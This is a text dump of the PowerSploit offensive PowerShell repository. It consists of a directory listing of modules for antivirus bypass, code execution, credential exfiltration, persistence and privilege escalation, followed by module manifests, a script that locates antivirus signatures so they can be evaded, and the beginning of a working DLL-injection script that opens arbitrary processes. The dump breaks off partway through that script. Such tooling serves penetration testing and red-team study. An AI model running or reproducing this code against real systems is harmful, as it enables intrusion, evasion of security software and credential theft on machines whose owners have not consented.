Showing preview only (6,319K chars total). Download the full file or copy to clipboard to get everything.
Repository: ZeroDayLab/PowerSploit
Branch: master
Commit: 72a88240ed0c
Files: 291
Total size: 6.0 MB
Directory structure:
gitextract_db7uw124/
├── .gitignore
├── AntivirusBypass/
│ ├── AntivirusBypass.psd1
│ ├── AntivirusBypass.psm1
│ ├── Find-AVSignature.ps1
│ └── Usage.md
├── CodeExecution/
│ ├── CodeExecution.psd1
│ ├── CodeExecution.psm1
│ ├── Invoke-DllInjection.ps1
│ ├── Invoke-ReflectivePEInjection.ps1
│ ├── Invoke-ReflectivePEInjection_Resources/
│ │ ├── DemoDLL/
│ │ │ ├── DemoDLL/
│ │ │ │ ├── DemoDLL.cpp
│ │ │ │ ├── DemoDLL.h
│ │ │ │ ├── DemoDLL.vcxproj
│ │ │ │ ├── DemoDLL.vcxproj.filters
│ │ │ │ ├── ReadMe.txt
│ │ │ │ ├── dllmain.cpp
│ │ │ │ ├── stdafx.cpp
│ │ │ │ ├── stdafx.h
│ │ │ │ └── targetver.h
│ │ │ └── DemoDLL.sln
│ │ ├── DemoDLL_RemoteProcess/
│ │ │ ├── DemoDLL_RemoteProcess/
│ │ │ │ ├── DemoDLL_RemoteProcess.cpp
│ │ │ │ ├── DemoDLL_RemoteProcess.vcxproj
│ │ │ │ ├── DemoDLL_RemoteProcess.vcxproj.filters
│ │ │ │ ├── ReadMe.txt
│ │ │ │ ├── dllmain.cpp
│ │ │ │ ├── stdafx.cpp
│ │ │ │ ├── stdafx.h
│ │ │ │ └── targetver.h
│ │ │ └── DemoDLL_RemoteProcess.sln
│ │ ├── DemoExe/
│ │ │ ├── DemoExe.sln
│ │ │ ├── DemoExe_MD/
│ │ │ │ ├── DemoExe_MD.cpp
│ │ │ │ ├── DemoExe_MD.vcxproj
│ │ │ │ ├── DemoExe_MD.vcxproj.filters
│ │ │ │ ├── ReadMe.txt
│ │ │ │ ├── stdafx.cpp
│ │ │ │ ├── stdafx.h
│ │ │ │ └── targetver.h
│ │ │ └── DemoExe_MDd/
│ │ │ ├── DemoExe_MDd.cpp
│ │ │ ├── DemoExe_MDd.vcxproj
│ │ │ ├── DemoExe_MDd.vcxproj.filters
│ │ │ ├── ReadMe.txt
│ │ │ ├── stdafx.cpp
│ │ │ ├── stdafx.h
│ │ │ └── targetver.h
│ │ ├── ExeToInjectInTo/
│ │ │ ├── ExeToInjectInTo/
│ │ │ │ ├── ExeToInjectInTo.cpp
│ │ │ │ ├── ExeToInjectInTo.vcxproj
│ │ │ │ ├── ExeToInjectInTo.vcxproj.filters
│ │ │ │ ├── ReadMe.txt
│ │ │ │ ├── stdafx.cpp
│ │ │ │ ├── stdafx.h
│ │ │ │ └── targetver.h
│ │ │ └── ExeToInjectInTo.sln
│ │ └── Shellcode/
│ │ ├── readme.txt
│ │ ├── x64/
│ │ │ ├── CallDllMain.asm
│ │ │ ├── ExitThread.asm
│ │ │ ├── GetFuncAddress.asm
│ │ │ └── LoadLibraryA.asm
│ │ └── x86/
│ │ ├── CallDllMain.asm
│ │ ├── ExitThread.asm
│ │ └── GetProcAddress.asm
│ ├── Invoke-Shellcode.ps1
│ ├── Invoke-WmiCommand.ps1
│ └── Usage.md
├── Exfiltration/
│ ├── Exfiltration.psd1
│ ├── Exfiltration.psm1
│ ├── Get-GPPAutologon.ps1
│ ├── Get-GPPPassword.ps1
│ ├── Get-Keystrokes.ps1
│ ├── Get-MicrophoneAudio.ps1
│ ├── Get-TimedScreenshot.ps1
│ ├── Get-VaultCredential.ps1
│ ├── Get-VaultCredential.ps1xml
│ ├── Invoke-CredentialInjection.ps1
│ ├── Invoke-Mimikatz.ps1
│ ├── Invoke-NinjaCopy.ps1
│ ├── Invoke-TokenManipulation.ps1
│ ├── LogonUser/
│ │ └── LogonUser/
│ │ ├── LogonUser/
│ │ │ ├── LogonUser.cpp
│ │ │ ├── LogonUser.vcxproj
│ │ │ ├── LogonUser.vcxproj.filters
│ │ │ ├── ReadMe.txt
│ │ │ ├── stdafx.cpp
│ │ │ ├── stdafx.h
│ │ │ └── targetver.h
│ │ ├── LogonUser.sln
│ │ └── logon/
│ │ ├── ReadMe.txt
│ │ ├── dllmain.cpp
│ │ ├── logon.cpp
│ │ ├── logon.vcxproj
│ │ ├── logon.vcxproj.filters
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ └── targetver.h
│ ├── NTFSParser/
│ │ ├── NTFSParser/
│ │ │ ├── NTFS.h
│ │ │ ├── NTFSParser.cpp
│ │ │ ├── NTFSParser.vcxproj
│ │ │ ├── NTFSParser.vcxproj.filters
│ │ │ ├── NTFS_Attribute.h
│ │ │ ├── NTFS_Common.h
│ │ │ ├── NTFS_DataType.h
│ │ │ ├── NTFS_FileRecord.h
│ │ │ ├── ReadMe.txt
│ │ │ ├── stdafx.cpp
│ │ │ ├── stdafx.h
│ │ │ └── targetver.h
│ │ ├── NTFSParser.sln
│ │ └── NTFSParserDLL/
│ │ ├── NTFS.h
│ │ ├── NTFSParserDLL.cpp
│ │ ├── NTFSParserDLL.vcxproj
│ │ ├── NTFSParserDLL.vcxproj.filters
│ │ ├── NTFS_Attribute.h
│ │ ├── NTFS_Common.h
│ │ ├── NTFS_DataType.h
│ │ ├── NTFS_FileRecord.h
│ │ ├── ReadMe.txt
│ │ ├── dllmain.cpp
│ │ ├── stdafx.cpp
│ │ ├── stdafx.h
│ │ └── targetver.h
│ ├── Out-Minidump.ps1
│ ├── Usage.md
│ └── VolumeShadowCopyTools.ps1
├── LICENSE
├── Mayhem/
│ ├── Mayhem.psd1
│ ├── Mayhem.psm1
│ └── Usage.md
├── Persistence/
│ ├── Persistence.psd1
│ ├── Persistence.psm1
│ └── Usage.md
├── PowerSploit.psd1
├── PowerSploit.psm1
├── PowerSploit.pssproj
├── PowerSploit.sln
├── Privesc/
│ ├── Get-System.ps1
│ ├── PowerUp.ps1
│ ├── Privesc.psd1
│ ├── Privesc.psm1
│ └── README.md
├── README.md
├── Recon/
│ ├── Dictionaries/
│ │ ├── admin.txt
│ │ ├── generic.txt
│ │ └── sharepoint.txt
│ ├── Get-ComputerDetail.ps1
│ ├── Get-HttpStatus.ps1
│ ├── Invoke-CompareAttributesForClass.ps1
│ ├── Invoke-Portscan.ps1
│ ├── Invoke-ReverseDnsLookup.ps1
│ ├── PowerView.ps1
│ ├── README.md
│ ├── Recon.psd1
│ └── Recon.psm1
├── ScriptModification/
│ ├── Out-CompressedDll.ps1
│ ├── Out-EncodedCommand.ps1
│ ├── Out-EncryptedScript.ps1
│ ├── Remove-Comment.ps1
│ ├── ScriptModification.psd1
│ ├── ScriptModification.psm1
│ └── Usage.md
├── Tests/
│ ├── CodeExecution.tests.ps1
│ ├── Exfiltration.tests.ps1
│ ├── PowerSploit.tests.ps1
│ ├── Privesc.tests.ps1
│ └── Recon.tests.ps1
├── docs/
│ ├── AntivirusBypass/
│ │ └── Find-AVSignature.md
│ ├── CodeExecution/
│ │ ├── Invoke-DllInjection.md
│ │ ├── Invoke-ReflectivePEInjection.md
│ │ ├── Invoke-Shellcode.md
│ │ └── Invoke-WmiCommand.md
│ ├── Mayhem/
│ │ ├── Set-CriticalProcess.md
│ │ └── Set-MasterBootRecord.md
│ ├── Persistence/
│ │ ├── Add-Persistence.md
│ │ ├── Get-SecurityPackage.md
│ │ ├── Install-SSP.md
│ │ ├── New-ElevatedPersistenceOption.md
│ │ └── New-UserPersistenceOption.md
│ ├── Privesc/
│ │ ├── Add-ServiceDacl.md
│ │ ├── Enable-Privilege.md
│ │ ├── Find-PathDLLHijack.md
│ │ ├── Find-ProcessDLLHijack.md
│ │ ├── Get-ApplicationHost.md
│ │ ├── Get-CachedGPPPassword.md
│ │ ├── Get-ModifiablePath.md
│ │ ├── Get-ModifiableRegistryAutoRun.md
│ │ ├── Get-ModifiableScheduledTaskFile.md
│ │ ├── Get-ModifiableService.md
│ │ ├── Get-ModifiableServiceFile.md
│ │ ├── Get-ProcessTokenGroup.md
│ │ ├── Get-ProcessTokenPrivilege.md
│ │ ├── Get-RegistryAlwaysInstallElevated.md
│ │ ├── Get-RegistryAutoLogon.md
│ │ ├── Get-ServiceDetail.md
│ │ ├── Get-SiteListPassword.md
│ │ ├── Get-System.md
│ │ ├── Get-UnattendedInstallFile.md
│ │ ├── Get-UnquotedService.md
│ │ ├── Get-WebConfig.md
│ │ ├── Install-ServiceBinary.md
│ │ ├── Invoke-PrivescAudit.md
│ │ ├── Invoke-ServiceAbuse.md
│ │ ├── Invoke-WScriptUACBypass.md
│ │ ├── Restore-ServiceBinary.md
│ │ ├── Set-ServiceBinaryPath.md
│ │ ├── Test-ServiceDaclPermission.md
│ │ ├── Write-HijackDll.md
│ │ ├── Write-ServiceBinary.md
│ │ ├── Write-UserAddMSI.md
│ │ └── index.md
│ ├── Recon/
│ │ ├── Add-DomainGroupMember.md
│ │ ├── Add-DomainObjectAcl.md
│ │ ├── Add-RemoteConnection.md
│ │ ├── Convert-ADName.md
│ │ ├── ConvertFrom-SID.md
│ │ ├── ConvertFrom-UACValue.md
│ │ ├── ConvertTo-SID.md
│ │ ├── Export-PowerViewCSV.md
│ │ ├── Find-DomainLocalGroupMember.md
│ │ ├── Find-DomainObjectPropertyOutlier.md
│ │ ├── Find-DomainProcess.md
│ │ ├── Find-DomainShare.md
│ │ ├── Find-DomainUserEvent.md
│ │ ├── Find-DomainUserLocation.md
│ │ ├── Find-InterestingDomainAcl.md
│ │ ├── Find-InterestingDomainShareFile.md
│ │ ├── Find-InterestingFile.md
│ │ ├── Find-LocalAdminAccess.md
│ │ ├── Get-ComputerDetail.md
│ │ ├── Get-Domain.md
│ │ ├── Get-DomainComputer.md
│ │ ├── Get-DomainController.md
│ │ ├── Get-DomainDFSShare.md
│ │ ├── Get-DomainDNSRecord.md
│ │ ├── Get-DomainDNSZone.md
│ │ ├── Get-DomainFileServer.md
│ │ ├── Get-DomainForeignGroupMember.md
│ │ ├── Get-DomainForeignUser.md
│ │ ├── Get-DomainGPO.md
│ │ ├── Get-DomainGPOComputerLocalGroupMapping.md
│ │ ├── Get-DomainGPOLocalGroup.md
│ │ ├── Get-DomainGPOUserLocalGroupMapping.md
│ │ ├── Get-DomainGroup.md
│ │ ├── Get-DomainGroupMember.md
│ │ ├── Get-DomainManagedSecurityGroup.md
│ │ ├── Get-DomainOU.md
│ │ ├── Get-DomainObject.md
│ │ ├── Get-DomainObjectAcl.md
│ │ ├── Get-DomainPolicy.md
│ │ ├── Get-DomainSID.md
│ │ ├── Get-DomainSPNTicket.md
│ │ ├── Get-DomainSite.md
│ │ ├── Get-DomainSubnet.md
│ │ ├── Get-DomainTrust.md
│ │ ├── Get-DomainTrustMapping.md
│ │ ├── Get-DomainUser.md
│ │ ├── Get-DomainUserEvent.md
│ │ ├── Get-Forest.md
│ │ ├── Get-ForestDomain.md
│ │ ├── Get-ForestGlobalCatalog.md
│ │ ├── Get-ForestTrust.md
│ │ ├── Get-HttpStatus.md
│ │ ├── Get-NetComputerSiteName.md
│ │ ├── Get-NetLocalGroup.md
│ │ ├── Get-NetLocalGroupMember.md
│ │ ├── Get-NetLoggedon.md
│ │ ├── Get-NetRDPSession.md
│ │ ├── Get-NetSession.md
│ │ ├── Get-NetShare.md
│ │ ├── Get-PathAcl.md
│ │ ├── Get-RegLoggedOn.md
│ │ ├── Get-WMIProcess.md
│ │ ├── Get-WMIRegCachedRDPConnection.md
│ │ ├── Get-WMIRegLastLoggedOn.md
│ │ ├── Get-WMIRegMountedDrive.md
│ │ ├── Get-WMIRegProxy.md
│ │ ├── Invoke-Kerberoast.md
│ │ ├── Invoke-Portscan.md
│ │ ├── Invoke-ReverseDnsLookup.md
│ │ ├── Invoke-RevertToSelf.md
│ │ ├── Invoke-UserImpersonation.md
│ │ ├── New-DomainGroup.md
│ │ ├── New-DomainUser.md
│ │ ├── Remove-RemoteConnection.md
│ │ ├── Resolve-IPAddress.md
│ │ ├── Set-DomainObject.md
│ │ ├── Set-DomainObjectOwner.md
│ │ ├── Set-DomainUserPassword.md
│ │ ├── Test-AdminAccess.md
│ │ └── index.md
│ ├── ScriptModification/
│ │ ├── Out-CompressedDll.md
│ │ ├── Out-EncodedCommand.md
│ │ ├── Out-EncryptedScript.md
│ │ └── Remove-Comment.md
│ └── index.md
└── mkdocs.yml
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
#################
## Eclipse
#################
*.pydevproject
.project
.metadata
bin/
tmp/
*.tmp
*.bak
*.swp
*~.nib
local.properties
.classpath
.settings/
.loadpath
# External tool builders
.externalToolBuilders/
# Locally stored "Eclipse launch configurations"
*.launch
# CDT-specific
.cproject
# PDT-specific
.buildpath
#################
## Visual Studio
#################
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
build/
[Bb]in/
[Oo]bj/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
#############
## Windows detritus
#############
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store
#############
## Python
#############
*.py[co]
# Packages
*.egg
*.egg-info
dist/
build/
eggs/
parts/
var/
sdist/
develop-eggs/
.installed.cfg
# Installer logs
pip-log.txt
# Unit test / coverage reports
.coverage
.tox
#Translations
*.mo
#Mr Developer
.mr.developer.cfg
================================================
FILE: AntivirusBypass/AntivirusBypass.psd1
================================================
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'AntivirusBypass.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'
# Author of this module
Author = 'Matthew Graeber'
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Antivirus Avoidance/Bypass Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# List of all files packaged with this module
FileList = 'AntivirusBypass.psm1', 'AntivirusBypass.psd1', 'Find-AVSignature.ps1', 'Usage.md'
}
================================================
FILE: AntivirusBypass/AntivirusBypass.psm1
================================================
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
================================================
FILE: AntivirusBypass/Find-AVSignature.ps1
================================================
function Find-AVSignature
{
<#
.SYNOPSIS
Locate tiny AV signatures.
PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Locates single Byte AV signatures utilizing the same method as DSplit from "class101" on heapoverflow.com.
.PARAMETER Startbyte
Specifies the first byte to begin splitting on.
.PARAMETER Endbyte
Specifies the last byte to split on.
.PARAMETER Interval
Specifies the interval size to split with.
.PARAMETER Path
Specifies the path to the binary you want tested.
.PARAMETER OutPath
Optionally specifies the directory to write the binaries to.
.PARAMETER BufferLen
Specifies the length of the file read buffer . Defaults to 64KB.
.PARAMETER Force
Forces the script to continue without confirmation.
.EXAMPLE
Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
.NOTES
Several of the versions of "DSplit.exe" available on the internet contain malware.
.LINK
http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html
https://github.com/mattifestation/PowerSploit
http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True)]
[ValidateRange(0,4294967295)]
[UInt32]
$StartByte,
[Parameter(Mandatory = $True)]
[String]
$EndByte,
[Parameter(Mandatory = $True)]
[ValidateRange(0,4294967295)]
[UInt32]
$Interval,
[String]
[ValidateScript({Test-Path $_ })]
$Path = ($pwd.path),
[String]
$OutPath = ($pwd),
[ValidateRange(1,2097152)]
[UInt32]
$BufferLen = 65536,
[Switch] $Force
)
#test variables
if (!(Test-Path $Path)) {Throw "File path not found"}
$Response = $True
if (!(Test-Path $OutPath)) {
if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory}
}
if (!$Response) {Throw "Output path not found"}
if (!(Get-ChildItem $Path).Exists) {Throw "File not found"}
[Int32] $FileSize = (Get-ChildItem $Path).Length
if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"}
[Int32] $MaximumByte = (($FileSize) - 1)
if ($EndByte -ceq "max") {$EndByte = $MaximumByte}
#Recast $Endbyte into an Integer so that it can be compared properly.
[Int32]$EndByte = $EndByte
#If $Endbyte is greater than the file Length, use $MaximumByte.
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
Write-Verbose "StartByte: $StartByte"
Write-Verbose "EndByte: $EndByte"
#find the filename for the output name
[String] $FileName = (Split-Path $Path -leaf).Split('.')[0]
#Calculate the number of binaries
[Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval)
if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)}
#Prompt user to verify parameters to avoid writing binaries to the wrong directory
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!",
"Do you want to continue?"))){}
if (!$Response) {Return}
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
[Int32] $Number = [Math]::Floor($Endbyte/$Interval)
#Create a Read Buffer and Stream.
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
#write out the calculated number of binaries
[Int32] $i = 0
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
{
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
Write-Verbose "Byte 0 -> $($SplitByte)"
#Reset ReadStream to beginning of file
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
#Build a new FileStream for Writing
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
[Int32] $BytesLeft = $SplitByte
Write-Verbose "$($WriteStream.name)"
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
while ($BytesLeft -gt $BufferLen){
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
#Write the remaining bytes to the file
do {
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
until ($BytesLeft -eq 0)
$WriteStream.Close()
$WriteStream.Dispose()
}
Write-Verbose "Files written to disk. Flushing memory."
$ReadStream.Dispose()
#During testing using large binaries, memory usage was excessive so lets fix that
[System.GC]::Collect()
Write-Verbose "Completed!"
}
================================================
FILE: AntivirusBypass/Usage.md
================================================
To install this module, drop the entire AntivirusBypass folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module AntivirusBypass`
To see the commands imported, type `Get-Command -Module AntivirusBypass`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
================================================
FILE: CodeExecution/CodeExecution.psd1
================================================
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'CodeExecution.psm1'
# Version number of this module.
ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module
GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Code Execution Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Functions to export from this module
FunctionsToExport = '*'
# List of all files packaged with this module
FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md'
}
================================================
FILE: CodeExecution/CodeExecution.psm1
================================================
Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName}
================================================
FILE: CodeExecution/Invoke-DllInjection.ps1
================================================
function Invoke-DllInjection
{
<#
.SYNOPSIS
Injects a Dll into the process ID of your choosing.
PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Invoke-DllInjection injects a Dll into an arbitrary process.
It does this by using VirtualAllocEx to allocate memory the size of the
DLL in the remote process, writing the names of the DLL to load into the
remote process spacing using WriteProcessMemory, and then using RtlCreateUserThread
to invoke LoadLibraryA in the context of the remote process.
.PARAMETER ProcessID
Process ID of the process you want to inject a Dll into.
.PARAMETER Dll
Name of the dll to inject. This can be an absolute or relative path.
.EXAMPLE
Invoke-DllInjection -ProcessID 4274 -Dll evil.dll
Description
-----------
Inject 'evil.dll' into process ID 4274.
.NOTES
Use the '-Verbose' option to print detailed information.
.LINK
http://www.exploit-monday.com
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter( Position = 0, Mandatory = $True )]
[Int]
$ProcessID,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Dll
)
# Confirm that the process you want to inject into exists
try
{
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Process does not exist!"
}
# Confirm that the path to the dll exists
try
{
$Dll = (Resolve-Path $Dll -ErrorAction Stop).Path
Write-Verbose "Full path to Dll: $Dll"
$AsciiEncoder = New-Object System.Text.ASCIIEncoding
# Save the name of the dll in an ascii-encoded format. This name will be injected into the remote process.
$DllByteArray = $AsciiEncoder.GetBytes($Dll)
}
catch [System.Management.Automation.ActionPreferenceStopException]
{
Throw "Invalid Dll path!"
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Local:Get-PEArchitecture
{
Param
(
[Parameter( Position = 0,
Mandatory = $True )]
[String]
$Path
)
# Parse PE header to see if binary was compiled 32 or 64-bit
$FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read)
[Byte[]] $MZHeader = New-Object Byte[](2)
$FileStream.Read($MZHeader,0,2) | Out-Null
$Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader)
if ($Header -ne 'MZ')
{
$FileStream.Close()
Throw 'Invalid PE header.'
}
# Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header)
$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $lfanew = New-Object Byte[](4)
# Read offset to the PE Header (will be read in reverse)
$FileStream.Read($lfanew,0,4) | Out-Null
$PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join ''))
# Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE
$FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null
[Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2)
# Read compiled architecture
$FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null
$Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '')
$FileStream.Close()
if (($Architecture -ne '014C') -and ($Architecture -ne '8664'))
{
Throw 'Invalid PE header or unsupported architecture.'
}
if ($Architecture -eq '014C')
{
Write-Output 'X86'
}
elseif ($Architecture -eq '8664')
{
Write-Output 'X64'
}
else
{
Write-Output 'OTHER'
}
}
# Get addresses of and declare delegates for essential Win32 functions.
$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess
$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
